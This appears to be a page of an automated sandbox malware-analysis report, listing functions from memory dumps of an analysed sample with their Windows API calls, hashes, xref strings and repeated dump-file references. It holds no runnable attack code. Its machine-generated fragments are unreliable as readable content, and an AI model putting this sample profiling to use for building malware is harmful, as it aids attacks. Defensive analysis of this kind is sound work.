Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 2a30d1b43d4e3bfd7d403268552abe489839beb3b0cff93f9b7ebbffebaf5804
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 82B1D672F0125A8FDB24CF68CC917ADBBB2EF85314F1402A9C549DBB91D7309989CB91

Function 6CB0542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CB088F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CB0925C

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: cd93a67d0b416ecb251cd82e35879e20cb312a669b89762f24ac6478e98ce777
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 66B1C572F0124ACBCB14CE58CC816EDBBB2EF85314F150279C549DBB95D731AA89CB91

Function 00888EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00875184,40000001,00000000,00000000,?,00875184), ref: 00888EC0

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 72f1c4946dc2d3613d1256815db4cd18764bc7e900ae96c99e0a3f319583985a
Instruction ID: 578ff9629cc891f4eeeb3711f1782df99245b9b3f55d1b7533b64ba0b355790f
Opcode Fuzzy Hash: 72f1c4946dc2d3613d1256815db4cd18764bc7e900ae96c99e0a3f319583985a
Instruction Fuzzy Hash: BF110670200208EFDB00DFA4E884FAA37A9FF89304F509548FA19CB251DB35EC41DB60

Function 00879AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00874EEE,00000000,00000000), ref: 00879AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00874EEE,00000000,?), ref: 00879B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00874EEE,00000000,00000000), ref: 00879B2A
LocalFree.KERNEL32(?,?,?,?,00874EEE,00000000,?), ref: 00879B3F

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 79eb159e9de22e63dd5e60b3bdad102758f4ee4c3dbcf1ca11903e27c66293b1
Instruction ID: fd77e73d4d66e83ffb90ff5679e0be107385eee836d27ac33e6157867e3fb24f
Opcode Fuzzy Hash: 79eb159e9de22e63dd5e60b3bdad102758f4ee4c3dbcf1ca11903e27c66293b1
Instruction Fuzzy Hash: 4011A4B4240308AFEB10CFA4DC95FAA77B5FB89710F208158F9199B3A4C775A901CB50

Function 00887980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00890E00,00000000,?), ref: 008879B0
RtlAllocateHeap.NTDLL(00000000), ref: 008879B7
GetLocalTime.KERNEL32(?,?,?,?,?,00890E00,00000000,?), ref: 008879C4
wsprintfA.USER32 ref: 008879F3

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 6ad3baab7c03d21ae0c02c9f0ce2a41b6e440a6ba9e537ac97c742b6ae524320
Instruction ID: a279785f1b90d3397fed5ac8745c04edb6b94ffef3824fd92f11f218a650d4de
Opcode Fuzzy Hash: 6ad3baab7c03d21ae0c02c9f0ce2a41b6e440a6ba9e537ac97c742b6ae524320
Instruction Fuzzy Hash: 321127B2904118ABCB14DFC9DD45BBEB7F8FB4CB11F10421AF605A2290E2395941CBB1

Function 6CAD6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CAD6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAD6E1E

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 445c9ab4b77a67d2e784f199cc8cbbee6277f8dd44d0493758c6fbd5853915b8
Instruction ID: 3d923828c33384443f501da256abc34e57a54e82dc0a747005d802a1d6561d9c
Opcode Fuzzy Hash: 445c9ab4b77a67d2e784f199cc8cbbee6277f8dd44d0493758c6fbd5853915b8
Instruction Fuzzy Hash: C5A17C746187858FD714CF24C590BAAFBF2BF88308F05495DE48A87B51DB70B888CB92

Function 00883720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0088E118,00000000,00000001,0088E108,00000000), ref: 00883758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 008837B0

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 15e3a8f3c5186362e8788434c4a175db18164b3392a99ed28161e5c73cbdf6b0
Instruction ID: f6de0f573aa4d34e2bf133ca15d53a4f737948c93cf367cccfb179fe9dc3083b
Opcode Fuzzy Hash: 15e3a8f3c5186362e8788434c4a175db18164b3392a99ed28161e5c73cbdf6b0
Instruction Fuzzy Hash: 6941F674A00A28AFDB24DB58CC95B9BB7B4FB48702F4041D8E618E7290E771AE85CF50

Function 00C34D42 Relevance: 4.1, Strings: 2, Instructions: 1557COMMON

Download Yara Rule

Strings

A'~, xrefs: 00C35540
'h}, xrefs: 00C3560E

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'h}$A'~
API String ID: 0-2159437400
Opcode ID: 22ab8e49cb2fad922d470ac01e98c6df34b3de568bd4249a1f52719079e00a39
Instruction ID: 354805105497da3d5cdd2e15ff60d62ce552c46b0b2b8bf6c95faed710d86c34
Opcode Fuzzy Hash: 22ab8e49cb2fad922d470ac01e98c6df34b3de568bd4249a1f52719079e00a39
Instruction Fuzzy Hash: D8B2D2F3A0C204AFE305AE2DEC8567ABBE5EF94320F16493DE6C4C3744E63558458A97

Function 6CAF85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CAF8C7C
__aulldiv.LIBCMT ref: 6CAF8DD7

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 68b968b6badfafc6637c7c427cc772f047af5d77a77907fb9267ad43791eb2c7
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 11327331F011198BDF18CE9EC8A17EEB7B2FB89300F15853AE516BB790D6345D868B91

Function 00C40878 Relevance: 2.9, Strings: 1, Instructions: 1675COMMON

Download Yara Rule

Strings

!7, xrefs: 00C41C4A

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !7
API String ID: 0-253074403
Opcode ID: 5bc3db2ab52fa4d6ff311672b3f8822da69b78a6d200706daeaf4939b99037bb
Instruction ID: 5e4206f53979bed497eee3c68642ad4bc5c101ca873f084ef8a4081fc92362d7
Opcode Fuzzy Hash: 5bc3db2ab52fa4d6ff311672b3f8822da69b78a6d200706daeaf4939b99037bb
Instruction Fuzzy Hash: BFB228F3A0C2009FE3046E2DEC8577ABBE9EBD4720F1A453DEAC5C3744EA3558058696

Function 00BFE61A Relevance: 2.7, Strings: 2, Instructions: 209COMMON

Download Yara Rule

Strings

9Zk, xrefs: 00BFE7EE
JJ4, xrefs: 00BFE84E

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
